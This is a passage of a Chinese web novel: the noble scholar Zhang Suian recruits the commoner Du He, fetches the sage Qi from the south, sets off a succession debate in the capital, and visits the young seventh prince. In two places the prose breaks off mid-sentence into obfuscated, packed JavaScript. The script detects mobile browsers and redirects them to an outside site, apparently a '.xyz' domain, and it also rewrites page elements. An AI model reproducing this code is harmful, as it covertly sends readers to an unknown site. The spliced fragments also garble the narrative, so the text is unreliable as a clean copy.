“邱婶。”张岁安上前劝道。 邱婶循声回头,连连声道:“公子,幸得你今日在家,苗夫人不在,这菜农坐地起价,这这这……” 那送菜之人一见来人,更是一愣:“公子?公子,你竟是张,张府的公子……” 张岁安定睛一看,这送菜之人一身书生打扮,居然是那日在明堂遇见的杜何。 “杜公子?”张岁安也是意外,“杜公子不是在明堂赁作吗?怎的又做起这送菜的营生了?” 杜何看了看菜车,挥手一笑:“我二舅公这几日病了,我便借此代劳了。”他旋即冲着张岁安作揖道,“昔日公子不曾留名,可鄙人亦觉得公子谈吐不俗,如今一看,果真是高门贵子,失礼了,失礼了。” 张岁安回了一礼道:“杜公子客气了,你我本是平辈,何来失礼一说?” 杜何哈哈一笑,作出一副大水冲了龙王庙的模样:“既然是公子府中,那这菜,我也不好坐地起价了,就按老婶子说的,三十文就三十文,只是下次我二舅公再来,可不一定还是这个价了。” 邱婶瞥了一眼不那么新鲜的菜色,总觉得不值,旋即一口讲道:“二十五文!” 杜何听完,也顾不上什么君子之礼了,毕竟谈礼伤钱,他双眼一瞪道:“阿婶啊,我这些菜送去朱楼尚要卖个五六十文,三十文已是大大便宜了。” 邱婶还想再辩,被张岁安一口拦下:“邱婶。” 一见公子开口,邱婶也不好再吵,让下人称了斤两,再按三十文一斤的价钱,掏钱递到了杜何身后的杂役手上。 张岁安:“张府清俭,用度管得紧,故而府人们才如此精打细算,让杜公子见笑了。” “无碍,无碍。”杜何挥手一笑。 张岁安顿了顿,旋即又问道:“杜公子方才随口提到了朱楼,难不成这朱楼的菜蔬,也是杜公子家中亲眷在送?” “正是,在下母家在西郊有菜田几亩,父家亦有茶田几亩,父母族亲皆靠农作为生,才得以供在下学些书文,只是时运不济,不得赏识,可惜了长辈苦心一片啊。” 张岁安闻言,斟酌半晌,继而开口:“晚生如今在兰台当值,听闻司农寺下的茶政司有一仓监佐使的缺职,”他顿了顿,旋即语气也热络了几分,“文德兄父家既是茶农,定是熟悉茶品之人,若文德兄不嫌弃,晚生或能略尽薄力,替文德兄一荐。” 杜何猛地一怔,直接两眼放光:“当真?” 张岁安眉毛一挑,点了点头。 杜何狂喜,连连拱手作揖:“文德何其有幸,何其有幸啊,公子垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445030|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青之恩,文德必不敢忘!” 张岁安微微一笑,转了个话头又问道:“说来也巧,晚生之前去明堂饮茶时,总觉得今年的新茶不如往年的鲜,去了那朱楼,才品得这春茶之味,文德兄既与朱楼后院多有往来,可知为何这朱楼的茶独胜一筹?” 杜何听完,亦是一愣,似是也不知其中缘故:“在下父家虽种茶,但却也不敢私自售卖无官批的茶叶,明堂朱楼的茶,自是皆由茶政司所出,若是口味不一,想来定是仓储分批时出了纰漏吧。”他顿了顿,脑子继而转过弯来,“公子可是想,借此探一探那茶政司内的究竟?” 张岁安笑而不语。 杜何脸上的喜色渐渐褪去,露出几分为难:“公子,可否借一步说话?” 张岁安点了点头,两人旋即往院内僻静处走了几步,停在一月门之下。 “公子举荐之恩,文德自不敢忘,可这官场之事,在下只一小民,实在不敢涉足。”杜何拱手歉道,声量也压得更低,“不瞒公子,茶政司每年从茶农手中批购新茶,再与陈茶混卖,纯品的新茶供给天家,杂品的混茶供给商市,经手的官吏从中谋些小利,大家私下都心知肚明,公子如今身在兰台,监察下吏名正言顺,可在下只一贫农而已,怎敢将这层薄纱给掀了去?” 张岁安细品着他这番话,沉吟片刻又问道:“既是杂品混茶供给商市,可那朱楼为何能得纯茶供给?” “在下流连市井,也听闻过几句朱楼的密辛,这朱楼明面上的老板姓薛,可真正管事的是他的外室,是个叫瓷娘的女子。这瓷娘身世不明,颇有些江湖人脉,想来这朱楼多有权贵往来,上面有人照拂,倒是也不稀奇。” 张岁安不知江湖微末,却知朝堂派系,他转而点破道:“明堂背后的人是许氏一族,许氏乃当朝御史大夫杨老太公的嫡系门生,杨老太公还有一门生,便是如今的御史中丞。文德兄,我这么说,你可明白。” “明白,公子是想说,这朱楼背后之人,势力或远在许氏之上。”杜何一分析,脸色更是白了大半,“公子啊,这这这种事情,我一小民,怎敢掺和啊?” 张岁安沉声道:“你入司农寺后,无需出头,看见什么,私下告诉我便是,我自有办法让你不被搅入其中。” 杜何僵在原地,眉头紧锁,还是为难。 张岁安见他迟迟不应,也不好勉强,只得轻叹一声:“文德兄若真有顾虑,晚生亦不会强求。” 他微微拱手作别,旋即拂袖转身,走到院中,后又一顿。 他回头看向杜何,朗声道:“文德兄昔日在明堂上的辩言,晚生倒是还记得,‘山民凿石为田之智,北民饮血戍边之苦’,文德兄志在民生,荐官之事不是私情,文德兄有才有能,当得起这一官职。” 杜何闻之一怔,望着张岁安远去的背影,微微作揖行了一礼。 入仕司农寺,既能安身,又能窥察吏治之弊,这份机遇,终是难得。 想来士为知己者死,杜何流连市井,是为生计,可惜读了些书文,心中偏偏生了那志向的根。 不日,他便收到了司农府的征辟文书。 他枯坐半夜,最终还是递了赴任的呈文。 22. 祁圣人 去往南境的路跋山涉水,官车轻快,却也耐不住一路泥泞,陆路走完,又是好几日的水路,过了南岭,才进入怀州境内。 江风裹着水汽吹在脸上,带着湘南地带特有的温润。 岸边的乌篷船不少,怀州地势高低起伏,多有挑夫在此扛运行李,路边架着一草摊,卖着热腾腾的大碗茶,往来候船的人和挑夫若是渴了,都能捧着粗瓷碗喝上一口。 张岁安随家丁一起下了船,也在路边歇了会脚,点了两碗茶喝。 “公子,这茶……”彭吉捧着瓷碗喝了一口,被苦得眉头挤成一团,“这茶可真浓啊。” 卖茶的伙计笑了笑,把汗巾往肩上一搭,操着一口怀州口音道:“我们这茶都是熬的,浓茶喝了提神,干活有力气。” 张岁安也喝了半口,果然苦得发涩,只是多喝几口,苦习惯后,倒也觉得有股醇香,一大碗浓茶下去,配上甜糍,吃完身子也热了,也不疲乏了,上山赶路都有劲了。 南境之地,山峦叠峰,想要去那圣人的草堂,还得爬上好几里的山路。 山间雾气湿滑,又都是些幽僻小径,一脚下去陷了半只脚不说,连衣袍也都被泥水浸了个透。 彭吉跟在张岁安身后,累得龇牙咧嘴,边爬边喘:“公子啊,你说这祁圣人也一把年纪了,山路如此难行,他这筋骨上下一趟受得了吗?” 张岁安撑着一根粗木棍子,站在石边,抬起袖口擦了擦额角的薄汗,望向山间的迷雾,一只鸽子忽然从雾气中飞出,振翅之声喋喋地回荡在山谷间。 “想来,应该快到了。”张岁安轻声道。 再往深处走,雾气渐薄,隐约可见一竹影下的草堂,茅草覆顶,竹篱为墙,院中堆着半筐野草,空地上的小童正在喂牛。 小童见有人来,上前抬头问:“你们是谁?” 张岁安把手中的木棍递到彭吉手中,冲着小童躬身行礼:“晚生姓张,之前曾来过书信,今专程来拜访圣人,请问圣人可在?” 小童摇了摇头:“夫子今日去山下了,你们得去山下寻他。” 彭吉听完,险些没厥过去,他们好不容易从山下爬上来,这圣人居然在那山下…… 张岁安轻声问道:“那小先生可知夫子在山下何处?” 小童想了想,答道:“夫子扛着锄头走的,想来应该是去田间了吧。” “谢小先生指路。”张岁安行了行礼,转头就准备往山下走。 彭吉长叹一声,只能又杵着棍子,跟在公子身后。 上山路难行,下山更难,泥泞路湿滑,一行人连滚带滑地下了山,寻着雾中的牛哞声,终于到了田边上。 张岁安远远地见到一白发老农,穿着一身粗布短褂,卷着裤腿,手里攥着把木锄头,正站在田间松土。 他走上前去,作揖问道:“敢问老先生,祁夫子可在此处?” 老农闻声头也没抬,只顾着自己脚下的秧苗,闷声应了一句:“老身便是。” 张岁安一怔,似是有些惊疑。 他原以为这圣人,就该是坐在明台之上,着一身宽袖儒袍,讲经说文,五指不沾阳春水,却没想到这祁圣人竟在这田坎间自耕自种,宛如一寻常老农般。 张岁安整了整衣,躬身再拜道:“晚生张子康,故太傅张岐山之孙,久闻夫子盛名,今特来拜会,幸得一见,不枉一路风雨。” 祁圣人未曾应答,反而蹲下身子,瞅着一株秧苗看了半天,旋即叹了一声:“这草木有预枯之兆啊,”他用锄头在土里拨了半天,在根茎的泥中翻出几团幼虫,摇了摇头,撑着膝盖站起身来,“这地蚕不根除,今年怕是要闹蝗灾啊。” 张岁安闻声一顿,不知该答什么,只得又赞道:“夫子传礼教辩经义,又懂农时知虫害,可谓是于书斋之间见天地,当真是圣人风骨。” 祁圣人没搭理他,只顾埋头锄田,虽已白发苍苍,却颇有一番老当益壮的气力:“什么圣人不圣人的,虚名而已。老身耕田,是怕忘了稻米来之不易,传礼教,是为了让世人知礼守节,可到头来呢?还不都成了那庙堂人的说辞。” 经义成了庙堂之人维护自身权柄的手段,这非圣人的本意,却也奈不住大势所趋。 “夫子所言,晚生深有所感,礼教沦为权术,民生困于贪腐,亦是晚生心中所忧。”张岁安抬头望向田间人,语气又多了几分恳切,“陛下有意重修国之经义,正纲常,明是非,护民生,晚生斗胆,请夫子出山,修经传义,借典立民。” 祁圣人终于停下来了,瞅了张岁安一眼,接着握着锄头直起身来,目光越过田垄,望向江雾漫漫:“沿着这条江往南,过了那座山便是南疆地界,若有蝗灾预起,南疆坤仪王早早便会命地方州主挖渠排涝,备好矿石药粉,挨田挨亩地洒。不过一山之隔,民生之艰,相差万里啊。” 他顿了顿,转头看向张岁安,轻嗤一声:“边境之地,多是兵民一体,无粮便兵弱,这样实打实的东西不去琢磨,天天琢磨着修什么典籍,北朔有雄主,南疆有仁君,就这东袭,”老人嫌弃地摆了摆手,“也不知这付氏后人的皇帝是怎么当的?” 祁圣人仗着天高皇帝远,说话也不忌讳,张岁安心下虽觉得不妥,但也不好直言。 毕竟这祁圣人如今年近古稀,住在这孤山之中还能上山下田,想来自是精通养生之道,所谓养生,首要便是得舒气,骂天骂地骂皇帝,自己是一点闷气也不愿受。 “小生你也不必惶恐,别说是直言皇室族姓了,哪怕是当今圣上的爷爷老身也训过。”祁圣人说完便一步步地从田间往坎上走。 “夫子随口一言,晚生不会放在心上。”张岁安见祁圣人走过来,躬身便想去扶他老人家一把。 这祁圣人倒是也不必他扶,大步一迈,就稳稳地从田里站上了坎,踩着草鞋就往山上走,边走还不忘边留下一句:“你大老远的来了,老身还是得招待一番,随我上草堂吃晌午罢。” 又要爬山。 张岁安歪歪扭扭地跟在老人身后,彭吉更是被湿滑的田坎染成了半个泥人,抬头一看,那祁圣人倒是大步稳健,远远地甩出众人好一截路。 “夫子这般年岁,身体还如此康健,想来定是能长命百岁啊。”张岁安跟在后面朗声道。 “老身也不想活这么久,可这就是不死啊,”祁圣人大步一迈,宛如一山间老鹤般轻巧地飞在泥土路上,“想来是我这命中,还有劫数未尽呐。” 山上的草堂中只有小童三人,一人放牛,一人砍柴,一人帮夫子整理书简,这每日的羹食,自是只有祁圣人自己上手。 张岁安除了彭吉,还带了随行的小厮三人,草堂里忽然一下来了这么多人,祁圣人一个人也煮不过来,旋即让他们去山泉边洗手净面后,一齐过来洗菜。 “这豆荚得先将两侧的筋去了,剥皮取粒,再用水洗净。”祁圣人一边在厨案上切着菜,一边朗声招呼道。 彭吉看不下去,自家公子十指不沾阳春水的人,怎么能在这山里洗菜扣豆荚呢。 “公子啊,君子远庖厨,我来吧,你去边儿上坐着。” 祁圣人一把年纪,不仅一把菜刀使得利索,还耳聪也目明,彭吉的小声嘀咕,他也听在耳边:“什么君子远庖厨,老身母亲妻室都是南疆人,在南疆管他君子不君子的,男子女子都得会烧饭。” 张岁安闻之有理,也开始埋头跟那一盆豆荚斗智斗勇起来。 小童抱来劈好的干柴,替圣人烧热了灶台,等水沸了,豆腐豆子一下锅,腾腾的雾气漫着豆鲜味扑了上来。 圣人用长柄铁勺搅着锅中的汤,瞥了一眼身旁捧着草箕的张岁安。 这个自绥京城中娇生玉养的公子,真让他做起农活来,也是有条有理,把一筐豆子剥洗得干干净净。 “老身少时贫苦,张公却出身大家,他隐姓埋名,结交四方,这才结束了东袭割据之势,有了今日的付氏王朝。”祁圣人挥起袖口,散了散周身的水汽,“但他这人,聪明一世,糊涂一时啊。” 张岁安听着圣人提起爷爷旧事,也垂首缄默。 祁圣人故而又说道:“你此来一遭,明面上是 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祁圣人望着张岁安,似是想训上几句,却又因了然这世间的因果宿命,而最终只是无可奈何地摇了摇头—— “你此举一出,便是在当今圣上面前表明了态度,如此一来,可就再也抽不了身了。” “圣人方才也说了,嫡长乃国本纲常。”张岁安语气柔和,声音却沉如山石,“若嫡皇子真是天命所归,作为袭国臣子,难道要眼看着皇子蒙尘受辱吗?” “还果真是故人之后,连这认死理儿的性子都一样。”祁圣人见着他这幅样子,就想起曾经跟他斗嘴的张老太公来,心下是又嫌弃又惋惜,“那老身再问问你,嫡皇子洗脱污名之后,陛下打压之力愈狠,你再当如何?是要联众臣之手,以国本之名逼陛下立储?还是看着你千般相护的皇子,再次沦为制衡的棋子?” 这话问得张岁安心头一顿,他当然想过此后之事,但却一直未敢直面,但祁圣人却将他心下的忧虑明堂堂地说尽了。 替七皇子洗脱污名,便是动了陛下的棋局,一步落子,从此便再也没有回头路。 他想了半晌,还是答道:“若陛下罔顾纲常,朝堂贤臣济济,自会相劝,非子康所能谋动。” 话虽委婉,但已意向分明。 祁圣人叹了一声,继而又开口道:“当年我劝不了张公,是因看礼乐荒废,民生多艰,张公以身入局,为袭国争得了数十载太平,可如今,这太平还稳不稳得住,怕是谁也说不准啰。” 山中似有飞鸟振翅,喋喋之声回荡在山谷间,悠扬延绵,好似天地间的一声哀叹。 两人言语间,一锅的豆腐汤也闷好了,张岁安帮圣人掀开木盖,将一锅鲜汤分舀入木碗中。 汤清豆白,热气氤氲,众人捧着碗慢慢吃着,鲜暖的汤食入了肚子。 “除了你,还有一人的信也早早地传到了老身这里。”祁圣人捧着碗轻声道,“这人你不认得,宫里边的那位小皇子却认得。” 张岁安一顿,似是不解。 祁圣人捋了捋胡须,笑道:“智者不入世,你我皆非智者,你爷爷那老东西也不是什么智者,智者隐于山间,却观世之全貌,便是此人矣。” “晚生素有耳闻,七皇子曾经在太初观拜了一仙人的道石为师,难道圣人所说之人,便是那七皇子之师?” 祁圣人委婉一笑,似是默认。 “若不是他提前催着我回来,你也寻不到我了。”祁圣人顿了顿,“老身此前也不明白他劝我重归草堂之意,现下却了然了,袭国之困,最后果然还是得张氏来解。” 祁圣人看着眼前的这个少年人,仿若在看着一个注定要入局的来日首辅。 七皇子若能继承大位,眼前的人,便是能决定袭国未来国运之人。 是任凭当朝者玩弄权术而惹得民生多艰,还是推举一位能强兵利民的人上台,翻新这迂腐的朽木庙堂。 圣人心中自有明断。 “快吃吧,吃完老身还要收拾行囊。”祁圣人叹声道,“路程这么长,来去还要些时日,莫在虚妄忧虑中枉费了光阴。” 23. 议储 祁圣人年纪大了,返程的车马难免要慢些,等张岁安一行人回到京城,又过了月余。 这一路山水,张岁安也从沿途的驿站客商口中,听闻了绥京城中近来闹得沸沸扬扬的三桩大事。 头一桩事,是秦老太尉的孙女,把司隶校尉家的二公子给打了—— 景和帝提拔赵氏,让赵氏一族掌管京畿监察,是想借此制衡士族,可这赵氏一族却总是削尖了脑袋想挤进核心勋贵中去,一听闻秦老太尉有意为孙女择婿,连连托媒上门,姿态放得极低。 结果那赵青家的子弟却是个没规矩的,在茶肆撞见秦家孙女,竟直接扬言对方迟早是赵家妇,这秦家的女公子自幼习武,性子烈,当场一番拳脚把赵二给收拾了,让赵氏一族沦为了京中勋贵宴席上的笑料。 而这第二桩事,竟是落在了那江崇头上—— 江家跟太仆曹家先前刚刚定下了婚约,可谁能料到,那曹太仆的女儿竟然转眼就跟一个寒门书生私奔了。 这前两桩事,都是那高门大院的趣闻,人们传起来也没个顾忌,可这第三桩事却不一样了—— 地方奏报,多地粮田蝗灾骤起,秧苗尽毁,苗死则粮危,眼见着接下来就是饥荒之季,四处人心惶惶,更有那玄谈纷纷,暗道“蝗”灾,实为“皇”灾,是东宫无主、储位空悬的警示。 这些闲话张岁安一路听着,祁圣人也耳聪目明,他此次出山,虽名义上为了修典而来,可农荒则国计不稳,百姓们颗粒无收忍饥挨饿,圣人也自然没有高居明台上不闻窗外事的道理。 “看来此番入京,这待理之事繁多啊。”祁圣人温声饮茶道。 过了城关驿站,便直入绥京,祁圣人进城后暂住在张府,京中文人学子闻风而动,慕名前来,浩浩荡荡地堵在张府门前递帖,想要求个拜访请教的机会。 张淮之为此甚是头疼。 他本以为张岁安去南境请圣人修典,铁定是竹篮打水一场空,没想到他还真把这活圣人给请回来了。 圣人既已登门,他自然也不好再摆出一副冷脸,故而也只能好吃好喝好住地招待着,半点不敢怠慢。 不日,祁圣人进宫觐见,欣然应下了监修典籍一事,并向景和帝进言,为典取名为同文典,取“天下四洲,书出同文”之意,既显得东袭文脉之盛,也暗合了景和帝招揽四洲人才的期许。 景和帝闻之大喜,一听圣人又说自己年岁大了,恐难以事必躬亲,张氏长公子不辞辛劳,或可代为亲掌修典诸事,景和帝便当即下旨,给张岁安晋升为校书中郎,亲管修典一事。 张岁安升了官,手下的人也跟着沾光,程为在兰台做了多年佐使,本就该挪一挪了,遂直升为兰台令,专职辅助张岁安整理典籍统筹校勘等事宜。 程为得知此事,反复掐了自己几遍确认不是做梦后,在署内又哭又笑兴奋了三天。 既然是国之大典,当然要有皇室亲监,三皇子搭了个张岁安的便车,被景和帝下旨任命为监典皇子。 此前赵贵嫔的侄子想要高攀太尉孙女被打一事,让赵氏在京中名门前丢尽了脸面,如今陛下亲任三皇子监典,便足以向绥京士族证明,陛下仍会继续重用赵氏。 赵氏一族吃了瘪,又得了赏,就像那被弓弦声吓着的狼,眼见着空弦无箭,啥事没有,又开始张牙舞爪地嚣张起来,反倒惹得京中士族更不待见。 毕竟“蝗”灾,“皇”灾,谁说一定只能是东宫无主之灾,说不定还有那国本紊乱之灾呢。 于是,悄悄的,绥京城中的风向也跟着变了—— 几个京城名流才子得幸与祁圣人坐而论道后,回去便纷传出了对庶子当道嫡子蒙尘的不满之意。 对他们来说,重视嫡长,是为稳定政权,凝聚宗族,免受内政动乱,虽民间有传言说嫡皇子克亲,原则上不好议储,可天下礼法,皆出自圣人,圣人发话,相当于原则就在眼前。 隔月月初,明堂争辩,自然而然就绕着立储一事给吵开了。 “克亲之说,毕竟是民间玄谈,国之大计,若因区区玄谈而动摇,岂不可笑?”发言人是新一届的明堂大嗓门。 众人皆知,上届大嗓门杜文德因在明堂吵了几年架,便得高门赏识,举荐入仕,此等珠玉在前,后来人当然也个个恨不得都扯着嗓子嚷出耕田的牛劲来。 “是啊,是啊。” “如果七皇子当真克亲,但为何七皇子身在宫中时,皇后尚且安在,一被送走便病重薨逝,此前七皇子未能回宫时,陛下便圣体有恙,当下嫡子回宫,陛下却康复如常。” “不过说到底,这克亲之说,到底是谁在背后谣传?” 有人引话,便有人接话。 “还能是谁?嫡皇子身负污名,无法入嗣宗庙,最为获利的是谁?” 众人你一言,我一语,说着说着,矛头便转向了对那赵氏一族的声讨: “赵氏所出的三皇子,虽最受当今圣上偏宠,但论长,还有边境的二皇子,论嫡,还有朝中的七皇子,他非嫡非长,靠母族受宠便可继承宗庙,岂不是以私爱乱国法?” “对啊,我朝历来讲究立嫡立长,若大宗破了这规矩,小宗有样学样,岂不是都乱了套了?” 明堂之辩,张岁安并非次次都去,但徐家的女儿徐秋还却是最爱听文人吵架的。 她女扮男装起来也是一回生二回熟,得空就溜去听热闹,听完就回来跟张岁安津津有味地一顿讲。 “七皇子回宫也不是一日两日了,也不知怎的如今才掀起这番言论。”徐秋还坐在廊下纳闷道。 张岁安默而不言,微微一笑,京中文人所辩,只是他和圣人布局的开始,一切还要等那愿者上钩才行。 这阵子他忙着整理典籍,常常夜宿宫中,眼下七皇子那殿中作法的事虽停了,但三皇子却还是忌讳,只是偶尔差宫人去送点东西,继续走个照拂幼弟的过场就算了事。 佑炆殿中的消息,只得靠江崇往来传送。 这江崇自婚约黄了后,颇有几分颓丧。 他虽与那曹家的女公子连面都没有见过几次,却好似一番深情被辜负了一般,硬是连休了几天的假在家中暗自神伤。 眼见张岁安今日好不容易休沐归家,便又从江府挪到了张府院子里来倒苦水,一来还撞见徐秋还也在,看着张徐婚约订了这么多年也稳稳当当,心下更是苦闷,几杯茶硬是喝出了酒味。 “子康啊,我怎么这么命苦啊,本想着跟曹家结亲了,咱俩也算是亲上加亲,现在好了,人家宁愿跟个穷书生跑了,也看不上我堂堂的光禄大夫之子,兼陛下亲封的副骑都尉,兼皇子近侍校尉啊……”江崇面上悲伤难过,可提起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原来在骑尉署的时候,歇下来还能跟兄弟们聊天喝酒,可如今入了宫,哎……闷啊。”江崇连声怨着,还刻意压低了几分声量,“这七皇子殿下,更是个闷葫芦,他不说话也就罢了,还总爱用那种眼神看着我。” 徐秋还听着也好奇起来:“哪种眼神?” 江崇半垂下头,抬起眼皮,嘴角抿成一线,摆出一副“生人勿近”的神态来—— “就这种。” 张岁安和徐秋还盯着他这副又气又狠模样,皆是一愣。 江崇逮着张岁安继续一通埋冤:“这七皇子年纪不大,心气可不小。我照你跟我说的,教他射射箭投投壶啥的,找了个小人用的弓来,他偏不用,非要用大弓,硬咬着牙拉开了,结果半夜手臂疼得睡不着觉,他时不时就三病两痛的,陛下也不见得去瞧,他殿中的人也不关心陛下来不来,反倒是那小内侍,跑来问我三皇子身边的人什么时候来?” 徐秋还听了半晌,也跟着接话道:“这我倒也有所耳闻,听说三皇子仁孝,对这个幼弟颇为照拂。” “我寻思是七皇子想三皇子了呗,就托人去三皇子那里问,结果三皇子也不见得来一次。”江崇叹着气直摇头。 一听三皇子身边的人,张岁安算是知道了这小七皇子醉翁之意不在酒。 他顿了顿,旋即看向江崇道:“三皇子监修典籍,琐事繁忙,定是抽不出空来,你且去告知七殿下一声,来日我必代三皇子前去看他。” 24. 秋伏 当下虽已入秋,可绥京城中的暑气却还未散去,日头下总是积着闷闷的潮热。 之前朱楼中盛行一种用冰沏过的牛羊乳,加之蜂蜜与鲜果,甚是鲜甜。 夏季的冰比黄金还要金贵,非大户人家用不起,张府作为高门贵族,也只得了几张有限的冰券,苗夫人向来爱置办些甜点趣食,也在家中研究着做了几回。 张岁安尝着滋味不错,便托苗夫人多做了几份。 隔日,他用食盒垫着冰砖,把几碗冰酪小心封好,进了宫中。 日头渐高,闷热的潮气压得蝉鸣都没劲头叫了,个个有气无力地蔫在树枝上。 刚刚迈进佑炆殿内,就听见院中传来“簌”地一声脆响,似是利剑穿过了草靶的声音。 张岁安远远地望见了太阳底下站着的那精瘦小人,穿着一身素色的短打,褪去了往日宽大的长袍,显出几分削竹似的利落劲儿来,不过几月不见,这孩子似乎又长高了几分。 他拉着一把大弓,弓身比自己的头顶还高出一截,咬着牙小脸绷得紧紧的,也不让手里的弓柄晃动半分,只见他搭箭上弦,拉弓射箭,箭无虚发地扎在远处的草靶上,显得十分熟练,不似新手。 侍立在侧的常乐远远地看见了张岁安,凑到小七皇子身边轻声道:“殿下,中郎官来了。” 小七拉弓的动作顿了顿,似是还在反应常乐口中的“中郎官”是谁,转头眯着眼睛朝门前望了望,便瞧见了缓步走上前来的张岁安。 他微微一怔,握着弓的手臂缓缓垂下,冲着那方浅色青衫的身影几不可察地笑了笑。 “臣,见过殿下,殿下福寿康安。”张岁安穿着一身薄衫,青纱似的面料虽不透,却显身形,挂在他清冽的骨架上,又薄又轻。 小七闷闷地看着他,许是练箭热着了,头顶的碎发被薄汗黏在额上,脸也被太阳晒得红彤彤的。 江崇在院子另一侧指挥着几个宫人扎草靶子,见张岁安来了,立刻丢下手里的活儿,兴冲冲地走上前来:“子康,你可来了——” 他几步过来,没眼力见地挡在了张岁安和小七中间,自顾自地絮叨着:“前几日,我照着你的话在殿下跟前复述了一遍,殿下是手也不痛头也不疼了,早午晚膳也用得勤了,你这一句话,可比那太医开的灵丹妙药还要好使。” 常乐侍立在侧,望见张岁安手里提着的食盒滴滴答答地往地上滴水,好奇问道:“中郎官这食盒中,可是装了冰食?” 张岁安这才低头一瞧,他一路走得小心,生怕弄洒里面的牛乳,却还是耐不住垫在下面的冰砖化了,渗着油纸和食盒的缝隙滴了出来,浇湿了一片衣角:“这是臣庶母做的冰酪,臣带来给殿下一尝。” 江崇一听,当下就馋了:“苗夫人做的?可给我带了?” 张岁安白了他一眼,低声道:“少不了你的。” 常乐上前从张岁安手里接过食盒:“这冰可是金贵东西啊,奴这就去盛给殿下尝尝。” 说完便趋步往后院去了,留下江崇一个人站在中间。 江崇背朝着小七皇子,高大的个子把张岁安挡得严严实实,也不顾皇子在场,拉拉扯扯地就跟他说起悄悄话来:“子康,你可真是及时雨啊,这天这么热,我都快被热化了,得亏你带了冰酪,不然……啊!” 话没说完,江崇朗声一叫,捂着屁股跳开半米—— 一转身瞧见小七皇子正眉压眼地盯着他,摆出一副忍他很久的模样,手里的一把长弓硬是握出了长枪的架势。 “殿下,你,你戳我作甚?!”江崇满脸黑线地纳闷道。 张岁安闷声憋笑,刻意朝着远处的草靶望了望,上前一步道:“云申啊,我怎么觉着,那靶子有点歪啊?” 江崇伸着脑袋朝远处望去,用手比划了半天:“歪吗?” “好像有点歪,”张岁安看了小七一眼,“殿下觉得歪吗?” 小七狠点了点头。 江崇挠了挠后脑勺,只得走回了草靶边上,和宫人们左右调整起来。 “这下还歪吗?”江崇站在太阳底下,眯着眼喊道。 “歪。”张岁安高声应着。 江崇一个脑袋三个大,硬是没看出哪里歪,只得把靶子拆了,重新摆置。 张岁安笑了笑,低头正瞅见小七也歪着个嘴笑着。 “殿下,江崇性情耿直,却非钻营之人,偶尔有所冒犯,还请殿下不要跟他计较。” 小七哑声道:“我知道。”顿了顿,又赌气补上一句,“可他挡着我了。” 江崇失礼,自然该罚,可小七身为皇子,拿着长弓去戳人家腚也不是什么高雅的举止,张岁安秉持着一碗水端平的教育理念,收拾完大的,小的也该训一训。 他转身低头看着小七,轻声问道:“之前臣让云申为殿下带了许多书来,殿下可都看完了?” 小七一怔,眼皮顿时躲开了半寸,瘪了瘪嘴,微微点了点头。 张岁安:“可有不懂之处?” 小七想了想,似是想要从记忆中搜寻出两三问题来。 那些张岁安的批注他倒是都反复看了,可没有批注的书简,一概都懒得看,现在被这样一问,倒生出几分被夫子检查功课的心虚来。 张岁安瞧出了他的小心思,嘴角一勾道:“殿下,读书不是应付功课。” 小七抿了抿嘴,抬眼望着他,眼里颇有几分委屈,哑着声音反问道:“你说书读完你便回来了,我若不读完,你是不是就不回来了?” 张岁安被他一句反问噎住,一腔说教直接被堵回肚子里。 这小孩颇擅诡辩,主打一个牛头不对马嘴,别人说道理,他偏偏要挑软处戳,惹得对方不知如何是好。 常乐小步跑了过来,冲着两人道:“殿下,中郎官,外面日头大,到廊下去用冰酪吧。” 两人一前一后走到廊下,在食案前坐下。 按理说,皇子的宫中一般都会有冰皿,用来降温生凉,可佑炆殿中却没有,只有几个宫人拿着蒲扇扇风,天气闷热不透,扇出来的风也是热的,吹在汗透的衣衫上,又粘又腻。 小七撸起袖子,端起冰冰凉凉的瓷碗,用羹勺尝了两口,牛乳兑了蜂蜜,还加过枣粒和桃肉,酸酸甜甜的,在这闷热的当下显得异常爽口。 江崇闻着味几步跑了过来,端起冰酪就开始大快朵颐,几口喝了个畅快,接着又跑回草靶边上跟那堆草垛子斗智斗勇。 张岁安带来的三层食盒中一共备了四碗,如今案上还剩下两碗。 他转头看了看站在一旁的常乐,回头冲着小七道 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张岁安的目光缓缓挪至小七头上的那方抹额,若是秋冬天还好,可如此潮热的季节,布料闷在额上,浸湿了汗,定是闷热难当。 “殿下戴着抹额,可觉得热吗?”他轻声问道。 小七端着冰碗,没作声,只是微微垂了垂眼。 那抹额于他而言,仿佛已经成了身体的一部分,久而久之,早已习惯,毕竟这么多年都是如此。 也不知从何时开始,明明是生来自带的印记,却偏偏成了他命中的耻痕。 张岁安见他沉默,又端着冰碗不便,旋即轻声问了句:“殿下若觉得不舒服,臣替殿下摘下来可好?” 小七一怔,缓缓点了点头。 张岁安微微拱手,接着将手轻轻绕至他的脑后,替他解掉了藏在发间的系绳。 玄色抹额顺着脸缓缓落下,露出眉间那点鲜红的血痣,衬在剑锋似的眉宇间,倒显得多了几分灵气。 见小七额上还带着薄汗,张岁安从袖口找出了一截绢帕,递上前去。 原觉得替小七取下抹额已经有违臣礼,便也更不好亲手帮他擦汗,可小七愣是就捧着碗,也没有放下要接那截绢帕的意思,像是在硬等着他帮自己擦似的。 见张岁安一动不动,他更是直接把脑门凑了上去。 张岁安无奈,只得抚起袖口,用绢帕帮他将额前的汗轻轻擦拭干净,把被粘乱的碎发拨好理清。 一缕凉风吹过廊下,卷起君子袖间的兰芷香气,拂上稚子的面庞。 漫漫暑热中,忽而有了一股难得的清凉。 张岁安握着绢帕的手,停在小七眉间的一点血痣上,他望着那一点殷红,心下也跟着沉了沉:“如今臣奉命修典,往后恐难常来,殿下只需静候。” 